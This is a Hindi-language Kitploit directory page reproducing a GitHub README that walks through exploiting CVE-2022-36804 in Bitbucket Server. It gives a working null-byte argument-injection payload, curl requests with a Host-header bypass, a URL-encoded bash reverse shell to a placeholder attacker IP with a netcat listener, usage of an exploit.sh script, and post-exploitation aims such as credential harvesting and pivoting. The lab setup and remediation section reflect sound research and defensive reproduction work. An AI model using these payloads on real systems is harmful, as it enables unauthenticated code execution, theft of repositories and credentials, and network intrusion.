Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-36804-Bitbucket-RCE-Analysis — CVE-2022-36804 (Bitbucket RCE) का पूर्ण-श्रृंखला पुनरुत्पादन। इसमें एक Docker-आधारित प्रयोगशाला, नल-बाइट इंजेक्शन सत्यापन के लिए pspy64 निगरानी, और एक कस्टम Bash शोषण स्क्रिप्ट शामिल है। Assetnote अनुसंधान पर आधारित। | Kitploit
उपकरण/GitHubGitHub/danielhallbro/cve-2022-36804-bitbucket-rce-analysis
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषणलैब और अभ्यास

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubdanielhallbro/cve-2022-36804-bitbucket-rce-analysis

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804 (Bitbucket RCE) का पूर्ण-श्रृंखला पुनरुत्पादन। इसमें एक Docker-आधारित प्रयोगशाला, नल-बाइट इंजेक्शन सत्यापन के लिए pspy64 निगरानी, और एक कस्टम Bash शोषण स्क्रिप्ट शामिल है। Assetnote अनुसंधान पर आधारित।

रिपॉजिटरी देखें
5 महीने पहलेअभी तक समीक्षित नहीं

CVE-2022-36804: Bitbucket रिमोट कमांड निष्पादन (RCE)

नल-बाइट आर्गुमेंट इंजेक्शन का तकनीकी विश्लेषण और प्रयोगशाला शोषण

भेद्यता सारांश

CVE-2022-36804 Atlassian Bitbucket सर्वर और डेटा सेंटर के REST API के भीतर एक उच्च/गंभीर आर्गुमेंट इंजेक्शन भेद्यता है।

जबकि आधिकारिक NVD नेशनल भेद्यता डेटाबेस आधार स्कोर आवश्यक पठन विशेषाधिकारों (PR:L) की धारणा पर 8.8 (उच्च) है, यह विश्लेषण इसे 9.8 (गंभीर) दोष (PR:N) मानता है। यदि किसी लक्ष्य रिपॉजिटरी में सार्वजनिक पहुँच सक्षम है—जो एक सामान्य कॉन्फ़िगरेशन है—तो शोषण वेक्टर पूरी तरह से प्री-ऑथेंटिकेटेड बन जाता है।

यह रिपॉजिटरी Assetnote द्वारा प्रकाशित तकनीकी शोध पर सीधे आधारित, शोषण के पूर्ण-श्रृंखला प्रयोगशाला पुनरुत्पादन का दस्तावेजीकरण करती है।

विश्लेषण में पर्यावरण ऑर्केस्ट्रेशन और सुरक्षा फ़िल्टर बाईपास से लेकर इंटरैक्टिव रिवर्स शेल प्राप्त करने तक के संक्रमण का विवरण दिया गया है। मूल खोज में उल्लिखित अनुसार, यह दोष रिमोट कमांड निष्पादन (RCE) की अनुमति देता है, जिसका शोषण प्री-ऑथेंटिकेशन पर किया जा सकता है यदि लक्ष्य रिपॉजिटरी में सार्वजनिक पहुँच सक्षम है।

तकनीकी गहराई: नल-बाइट असंगति

यह भेद्यता जावा एप्लिकेशन रनटाइम और लिनक्स ऑपरेटिंग सिस्टम के बीच "सैनिटाइज़ेशन प्रतिबाधा असंगति" में निहित है।

जैसा कि Assetnote के शोध में उजागर किया गया है, Bitbucket Git कमांड बनाने और निष्पादित करने के लिए NuProcess लाइब्रेरी का उपयोग करता है। जब कोई उपयोगकर्ता /archive एंडपॉइंट पर prefix पैरामीटर प्रदान करता है, तो Bitbucket तर्क सूची को OS को पास करने से पहले नल कैरेक्टर (%00) को हटाने में विफल रहता है।

  • जावा का दृष्टिकोण: इनपुट को एक एकल स्ट्रिंग ऑब्जेक्ट के रूप में मानता है जिसमें नल बाइट सुरक्षित रूप से समाहित है।
  • लिनक्स कर्नेल का दृष्टिकोण: C में लिखा होने के कारण, कर्नेल स्ट्रिंग को समाप्त करने के लिए नल कैरेक्टर का उपयोग करता है। जब execve() कमांड को संसाधित करता है, तो यह स्ट्रिंग को %00 पर काट देता है। चूँकि NuProcess डेटा को इस प्रकार पास करता है, OS नल बाइट के बाद आने वाली हर चीज़ को एक बिल्कुल नए कमांड-लाइन तर्क के रूप में मानता है।

--exec=... इंजेक्ट करके, एक हमलावर इच्छित --prefix फ़्लैग से बाहर निकल जाता है और git archive प्रक्रिया को एक मनमाना बाइनरी निष्पादित करने के लिए मजबूर करता है, जिससे रिमोट कमांड निष्पादन (RCE) होता है।

विस्तार करने के लिए क्लिक करें: पेलोड एनाटॉमी और "एरे शिफ्ट"

यह समझने के लिए कि शोषण एक साधारण URL पैरामीटर से OS-स्तरीय कमांड में कैसे संक्रमण करता है, हमें पेलोड की संरचना को विच्छेदित करना होगा और "एरे शिफ्ट" का निरीक्षण करना होगा।

1. पेलोड विश्लेषण

prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x

प्रयोगशाला सेटअप

यथार्थवादी हमले की सतह का अनुकरण करने के लिए, प्रयोगशाला पर्यावरण एक Docker ब्रिज नेटवर्क (hacking_net) के भीतर पृथक दो-कंटेनर आर्किटेक्चर का उपयोग करता है। यह सेटअप सुनिश्चित करता है कि शोषण और निगरानी होस्ट सिस्टम को प्रभावित किए बिना नियंत्रित वातावरण में की जा सके।

आर्किटेक्चर घटक

  • पीड़ित नोड: Atlassian Bitbucket सर्वर संस्करण 7.17.1 चलाता है। कंटेनर को जानबूझकर bitbucket-victim नाम दिया गया है। यह Apache Tomcat के RFC 7230 प्रवर्तन के साथ अनुपालन सुनिश्चित करने के लिए किए गए एक महत्वपूर्ण डिज़ाइन परिशोधन को दर्शाता है। अंडरस्कोर के बजाय हाइफ़न का उपयोग करके, पर्यावरण पेलोड निष्पादन के दौरान होने वाली "अमान्य कैरेक्टर" 400 त्रुटियों से बचता है—यह एक प्रमुख तकनीकी बाधा है जिसे शोध चरण के दौरान पहचाना और हल किया गया।

  • हमलावर नोड: एक अनुरूपित Kali Linux रोलिंग इमेज। मानक इमेज के विपरीत, यह नोड इस शोषण श्रृंखला के लिए आवश्यक विशिष्ट टूलसेट के साथ पूर्व-प्रावधानित है: रिपॉजिटरी हेरफेर के लिए git, पेलोड वितरण के लिए curl, और रिवर्स शेल कैप्चर करने के लिए netcat-traditional।

docker-compose.yml (Tomcat RFC-अनुरूप संस्करण)
root@kitploit:~
services:
  bitbucket:
    image: atlassian/bitbucket-server:7.17.1
    container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
    ports:
      - "7990:7990"
    volumes:
      - ./bitbucket-data:/var/atlassian/application-data/bitbucket
    networks:
      - hacking_net

  kali:
    build: .
    container_name: kali_attacker
    tty: true
    networks:
      - hacking_net

networks:
  hacking_net:
    driver: bridge

डॉकरफ़ाइल (हमलावर नोड)
root@kitploit:~
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling

# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
    apt-get install -y git curl netcat-traditional nano python3 && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Set the working directory to /root for convenience
WORKDIR /root

# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]

प्रयोगशाला सत्यापन (फास्ट ट्रैक)

यदि आपने ऊपर दिए गए docker-compose.yml का उपयोग करके पर्यावरण को पहले ही प्रावधानित कर लिया है, तो आप भेद्यता को सत्यापित करने और सेकंडों में रिवर्स शेल प्राप्त करने के लिए शामिल exploit.sh स्क्रिप्ट का उपयोग कर सकते हैं।

1. लिसनर तैयार करें

अपने Kali हमलावर नोड (या होस्ट मशीन) पर, शेल को कैप्चर करने के लिए एक netcat लिसनर शुरू करें:

root@kitploit:~
nc.traditional -lvnp 4444

2. शोषण निष्पादित करें

लक्ष्य Bitbucket IP, प्रोजेक्ट/रेपो नाम और अपने लिसनर विवरण प्रदान करके स्क्रिप्ट चलाएँ:

root@kitploit:~
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>

chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444

3. पहुँच सत्यापित करें

स्क्रिप्ट निष्पादित होने के बाद, अपना netcat टर्मिनल जाँचें। आपके पास bitbucket उपयोगकर्ता के रूप में एक इंटरैक्टिव सत्र होना चाहिए।

root@kitploit:~
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)

चरण-दर-चरण निष्पादन और समस्या निवारण

निम्नलिखित प्रयोगशाला सत्र का कच्चा निष्पादन लॉग है, जिसमें पर्यावरण सेटअप से लेकर पूरी तरह से इंटरैक्टिव रिवर्स शेल तक का विवरण शामिल है, साथ ही एप्लिकेशन लॉजिक और वेब सर्वर बाधाओं को बायपास करने के लिए आवश्यक समस्या निवारण चरण भी शामिल हैं।

चरण 1: प्रावधान और एप्लिकेशन सेटअप

मैंने कमजोर वातावरण को स्पिन अप करके और लक्ष्य एप्लिकेशन को कॉन्फ़िगर करके शुरू किया।

  1. Kali हमलावर और Bitbucket पीड़ित कंटेनरों को तैनात करने के लिए docker-compose up -d --build निष्पादित किया।
  2. http://localhost:7990 पर नेविगेट किया और Bitbucket सेटअप रूटीन के आरंभ होने की प्रतीक्षा की।
  3. कॉन्फ़िगरेशन:
    • डेटाबेस: तीव्र तैनाती के लिए आंतरिक डेटाबेस चुना।
    • लाइसेंसिंग: सर्वर ID कैप्चर की और 30-दिवसीय मूल्यांकन लाइसेंस उत्पन्न करने के लिए अपने व्यक्तिगत Atlassian खाते के माध्यम से प्रमाणित किया।
    • खाता सुरक्षा: प्राथमिक व्यवस्थापक खाता बनाया (बाद में git इंटरैक्शन के लिए क्रेडेंशियल्स संभाल कर रखें)।
  4. प्रोजेक्ट कुंजी CVE के साथ एक नया प्रोजेक्ट और Repo1 नामक एक खाली रिपॉजिटरी बनाई।
Bitbucket में प्रोजेक्ट निर्माण Bitbucket में रेपो निर्माण
  1. प्री-ऑथेंटिकेटेड शोषण वेक्टर के लिए एक पूर्वापेक्षा, सार्वजनिक पहुँच सक्षम है यह सुनिश्चित करने के लिए रिपॉजिटरी सेटिंग्स में नेविगेट किया।
सार्वजनिक पहुँच सक्षम करना

चरण 2: जाल बिछाना (व्हाइट-बॉक्स निगरानी)

अंधा परीक्षण पर भरोसा करने के बजाय वास्तविक समय में इंजेक्शन को सत्यापित करने के लिए, मैंने अंतर्निहित Linux प्रक्रियाओं की निगरानी के लिए pspy64 तैनात करने का निर्णय लिया।

  1. आधिकारिक GitHub रेपो से pspy64 बाइनरी डाउनलोड की।
  2. समस्या निवारण: Windows Defender ने बाइनरी को उच्च-जोखिम वाले हैकटूल के रूप में फ़्लैग किया, फ़ाइल को क्वारंटाइन करने का प्रयास किया। मुझे इस विशिष्ट शोध संदर्भ के लिए उपकरण को प्रभावी ढंग से व्हाइटलिस्ट करते हुए, खतरे को अनुमति देने के लिए Windows सुरक्षा सेटिंग्स में मैन्युअल रूप से हस्तक्षेप करना पड़ा।
  3. मैंने आंतरिक नेटवर्क फ़िल्टर को बायपास करने के लिए Docker CLI का उपयोग करके बाइनरी को होस्ट से पीड़ित कंटेनर में स्थानांतरित किया:
root@kitploit:~
docker cp pspy64 bitbucket_victim:/tmp/pspy64

# Note that your container would be called bitbucker-victim if you clone this repo.
  1. पीड़ित कंटेनर में एक रूट शेल (-u 0) स्पॉन करते हुए, मैंने निष्पादन विशेषाधिकार लागू किए और मॉनिटर शुरू किया:
root@kitploit:~
docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
pspy64 सेट करना

चरण 3: पहला पेलोड प्रयास और Tomcat का गेटकीपर

हमलावर नोड (docker exec -it kali_attacker bash) पर स्विच करते हुए, मैंने एक फ़ाइल (/tmp/pwned) बनाने के उद्देश्य से प्रारंभिक रिमोट कमांड निष्पादन पेलोड दागा।

root@kitploit:~
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
  • रोडब्लॉक 1 (RFC अनुपालन): पेलोड तुरंत विफल रहा। Apache Tomcat ने होस्ट नाम में _ कैरेक्टर के संबंध में एक त्रुटि लौटाई।
Tomcat RFC रोडब्लॉक
  • समाधान: Tomcat RFC नामकरण परंपराओं को सख्ती से लागू करता है। मैंने पेलोड को वेब सर्वर के माध्यम से Bitbucket एप्लिकेशन परत तक बलपूर्वक पहुँचाने के लिए एक Host हेडर ओवरराइड (-H "Host: localhost") जोड़ा।

चरण 4: लॉजिक बाईपास (खाली रिपॉजिटरी)

Host हेडर के साथ अद्यतन पेलोड दागने से एक नई त्रुटि उत्पन्न हुई: {"context":null,"message":"You are not permitted to access this resource","exceptionName":null}

खाली रेपो रोडब्लॉक
  • रोडब्लॉक 2 (एप्लिकेशन लॉजिक): सार्वजनिक पहुँच सक्षम होने पर भी, /archive एंडपॉइंट पहुँच अस्वीकार कर रहा था। मैंने अनुमान लगाया कि ऐसा इसलिए है क्योंकि git archive एक खाली रिपॉजिटरी पर काम नहीं कर सकता—उसे पार्स करने के लिए एक कमिट ट्री चाहिए।
  • समाधान: मैंने रिपॉजिटरी को आरंभ किया। मैंने एक छोटा README.md ("This is a test repository for CVE-2022-36804") तैयार किया और इसे Kali कंटेनर से पुश करने का प्रयास किया।
  • रोडब्लॉक 3 (DNS और रूटिंग): मेरा Git पुश विफल रहा क्योंकि कंटेनर होस्टनाम bitbucket_victim में निषिद्ध अंडरस्कोर था। यह अंडरस्कोर मुझे परेशान कर रहा है - सबक सीखा!
  • समाधान: मैंने पीड़ित के स्थानीय IP (172.19.0.3) का पता लगाने के लिए Docker नेटवर्क का निरीक्षण किया और व्यवस्थापक क्रेडेंशियल्स का उपयोग करके कमिट पुश किया:
root@kitploit:~
git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this: 
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git

चरण 5: आर्गुमेंट इंजेक्शन का सत्यापन

रिपॉजिटरी आरंभ होने के साथ, मैंने Host-हेडर-संशोधित पेलोड को एक बार फिर दागा:

root@kitploit:~
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"

सफलता। अपने मॉनिटर टर्मिनल पर पलटते हुए, मैंने "स्मोकिंग गन" देखी। pspy64 ने उस सटीक क्षण को कैप्चर किया जब जावा प्रक्रिया ने इंजेक्टेड नल-बाइट स्ट्रिंग को लिनक्स कर्नेल को पास किया। जैसा कि तकनीकी विश्लेषण में भविष्यवाणी की गई थी, OS ने नल बाइट के बाद की हर चीज़ को एक नए तर्क के रूप में माना।

pspy और मैनुअल सत्यापन

मैंने कंटेनर के अंदर एक मैनुअल जाँच के साथ इसका अनुसरण किया, यह पुष्टि करते हुए कि /tmp/pwned फ़ाइल वास्तव में bitbucket उपयोगकर्ता (UID 2003) द्वारा बनाई गई थी।

चरण 6: इंटरैक्टिव शेल तक विस्तार

प्रूफ ऑफ कॉन्सेप्ट को अंतिम रूप देने और अधिकतम प्रभाव प्रदर्शित करने के लिए, मैंने एक साधारण फ़ाइल निर्माण से पूर्ण इंटरैक्टिव सिस्टम पहुँच प्राप्त करने की ओर संक्रमण किया।

  1. मैंने एक नया Kali टर्मिनल खोला और आने वाले कनेक्शन को कैप्चर करने के लिए एक netcat लिसनर आरंभ किया:
root@kitploit:~
nc.traditional -lvnp 4444
  1. मैंने यह सुनिश्चित करने के लिए hostname -I का उपयोग करके अपने Kali कंटेनर का आंतरिक IP प्राप्त किया कि पीड़ित को पता चले कि शेल कहाँ भेजना है।

  2. अंतिम पेलोड निष्पादित किया। मैंने यह सुनिश्चित करने के लिए URL-एन्कोडेड bash रिवर्स शेल का उपयोग किया कि >, &, और ' जैसे कैरेक्टर Tomcat के HTTP अनुरोध पार्सर को बायपास करें:

root@kitploit:~
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
शेल टेकओवर पेलोड

परिणाम: कनेक्शन स्थिर हो गया। मैंने bitbucket सेवा उपयोगकर्ता के रूप में सफलतापूर्वक एक इंटरैक्टिव शेल प्राप्त किया, जो एक सफल और पूर्ण सेवा समझौता साबित करता है।

शेल टेकओवर प्रमाण

आर्किटेक्चरल प्रभाव और पोस्ट-एक्सप्लॉइटेशन

वेब एप्लिकेशन और अंतर्निहित OS के बीच अंतर करना महत्वपूर्ण है। यह रिवर्स शेल सर्वर पर्यावरण तक पहुँच प्रदान करता है, न कि Bitbucket UI के भीतर "व्यवस्थापक" अधिकार।

OS-स्तरीय आर्गुमेंट इंजेक्शन के रूप में, शेल को पैरेंट प्रक्रिया के विशेषाधिकार विरासत में मिलते हैं—इस मामले में, bitbucket सेवा खाता (UID 2003)।

हालाँकि यह तत्काल root पहुँच नहीं है, प्रभाव अभी भी गंभीर है:

  • बौद्धिक संपदा की चोरी: इंस्टेंस पर होस्ट किए गए सभी रिपॉजिटरीज़ के लिए अंतर्निहित Git ऑब्जेक्ट्स तक अनधिकृत पहुँच, एप्लिकेशन के आंतरिक रोल-आधारित एक्सेस कंट्रोल (RBAC) को प्रभावी ढंग से बायपास करना।

  • क्रेडेंशियल संग्रह: आंतरिक कॉन्फ़िगरेशन फ़ाइलों और डेटाबेस रहस्यों तक पहुँच।

  • पिवोटिंग: समझौता किया गया सर्वर अब आंतरिक नेटवर्क पर हमला करने के लिए एक गेटवे के रूप में उपयोग किया जा सकता है।

एक कठोर वातावरण में, यह एक पूर्ण सेवा समझौता है। जबकि पूर्ण होस्ट नियंत्रण के लिए एक द्वितीयक विशेषाधिकार वृद्धि की आवश्यकता होगी, प्राथमिक उद्देश्य—संगठन की बौद्धिक संपदा तक पहुँच—पूरी तरह से साकार हो जाता है।

उपचार और शमन

इस भेद्यता के विरुद्ध Bitbucket इंस्टेंस को सुरक्षित करने के लिए, Atlassian ने पैच जारी किए जो प्रीफ़िक्स पैरामीटर पर सख्त सत्यापन लागू करते हैं और नल-बाइट आर्गुमेंट विभाजन को रोकने के लिए प्रक्रिया निष्पादन तर्क को अद्यतन करते हैं।

  • आधिकारिक समाधान: Bitbucket सर्वर और डेटा सेंटर संस्करणों 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1, या अगस्त 2022 के बाद जारी किसी भी संस्करण में अपग्रेड करें।

  • तत्काल शमन: यदि तत्काल अपग्रेड संभव नहीं है, तो सुनिश्चित करें कि सभी रिपॉजिटरीज़ के लिए सार्वजनिक पहुँच अक्षम है। हालाँकि यह भेद्यता को दूर नहीं करता है, यह हमले की सतह को एक अनऑथेंटिकेटेड (प्री-ऑथ) वेक्टर से एक प्रमाणित वेक्टर में स्थानांतरित करता है, जिसे निष्पादित करने के लिए एक वैध उपयोगकर्ता खाते की आवश्यकता होती है।

तकनीकी संसाधन और श्रेय

इस प्रूफ ऑफ कॉन्सेप्ट को निम्नलिखित प्राथमिक स्रोतों और प्रयोगशाला उपकरणों से शोध को संश्लेषित करके विकसित किया गया था:

प्राथमिक शोध

  • Assetnote शोध: Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804) – मूल खोज और तकनीकी वॉकथ्रू।

  • तकनीकी प्रेरणा: Devcraft - GitHub RCE via Git Injection – Git आर्गुमेंट इंजेक्शन पर शोध जिसने Assetnote की खोज को प्रेरित किया।

भेद्यता डेटा

  • NVD प्रविष्टि: CVE-2022-36804 आधिकारिक सलाहकार – नेशनल भेद्यता डेटाबेस रिकॉर्ड और गंभीरता स्कोरिंग।

प्रयोगशाला घटक

  • कमजोर इमेज: Atlassian Bitbucket सर्वर 7.17.1 – इस पुनरुत्पादन के लिए उपयोग की गई विशिष्ट कंटेनर परत।

  • निगरानी उपकरण: pspy (प्रक्रिया निगरानी उपकरण) – लिनक्स कर्नेल में आर्गुमेंट इंजेक्शन के व्हाइट-बॉक्स सत्यापन के लिए उपयोग किया गया।


अस्वीकरण: यह परियोजना केवल शैक्षिक उद्देश्यों और नैतिक सुरक्षा शोध के लिए है। लक्ष्य प्रणालियों का अनधिकृत शोषण सख्त वर्जित है।

टूल डाउनलोड करें
घटकउद्देश्यतकनीकी भूमिका
prefix=xआवश्यकताgit archive को एक प्रीफ़िक्स चाहिए; x एक प्लेसहोल्डर के रूप में कार्य करता है।
%00चाकूनल-बाइट। जावा इसे पास करता है, लेकिन C-आधारित लिनक्स कर्नेल यहाँ स्ट्रिंग समाप्त करता है।
--exec=...RCE ट्रिगरखतरनाक फ़्लैग। बाहरी प्रोग्राम निष्पादित करने के लिए Git की अंतर्निहित सुविधा का दुरुपयोग करता है।
touch ...कार्रवाईनिष्पादित की जाने वाली कमांड। RCE सत्यापित करने के लिए सुरक्षित PoC।
--remote=...कूड़ेदानBitbucket द्वारा जोड़े गए कमिट ID को एक वैध तर्क के रूप में उपभोग करता है, यह सुनिश्चित करता है कि कमांड बिना सिंटैक्स त्रुटियों के स्वच्छ रूप से निष्पादित हो।

2. "एरे शिफ्ट" का विज़ुअलाइज़ेशन

यह भेद्यता के मूल को दर्शाता है: कैसे डेटा (एक निर्देशिका प्रीफ़िक्स) को निर्देश (एक कमांड फ़्लैग) में रूपांतरित किया जाता है।

जावा का निष्पादन संदर्भ (प्रारंभिक अवस्था):

जावा तीसरे तर्क के रूप में एक एकल, लंबी स्ट्रिंग देखता है।

root@kitploit:~
[
  "git",                                      // Index 0
  "archive",                                  // Index 1
  "--prefix=x\0--exec=...\0--remote=...\0x",  // Index 2: The single, polluted string
  "1a2b3c4d..."                               // Index 3: Appended by Bitbucket
]

लिनक्स कर्नेल निष्पादन (शोषित अवस्था):

कर्नेल का execve() सिस्कॉल प्रत्येक नल-बाइट (\0) पर स्ट्रिंग को विभाजित करता है, इंजेक्ट किए गए फ़्लैग को प्रक्रिया के तर्क सरणी में उनके स्वयं के स्टैंडअलोन पदों पर स्थानांतरित करता है।

root@kitploit:~
[
  "git",                                      // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/HEAD/Executable
  "archive",                                  // argv[1]: Subcommand
  "--prefix=x",                               // argv[2]: Terminated early by %00
  "--exec=/bin/bash -c 'touch /tmp/pwned'",   // argv[3]: THE INJECTED FLAG (RCE)
  "--remote=file:///",                        // argv[4]: THE TRASHCAN (Redirects logic)
  "1a2b3c4d..."                               // argv[5]: COMMIT ID (Consumed by --remote)
]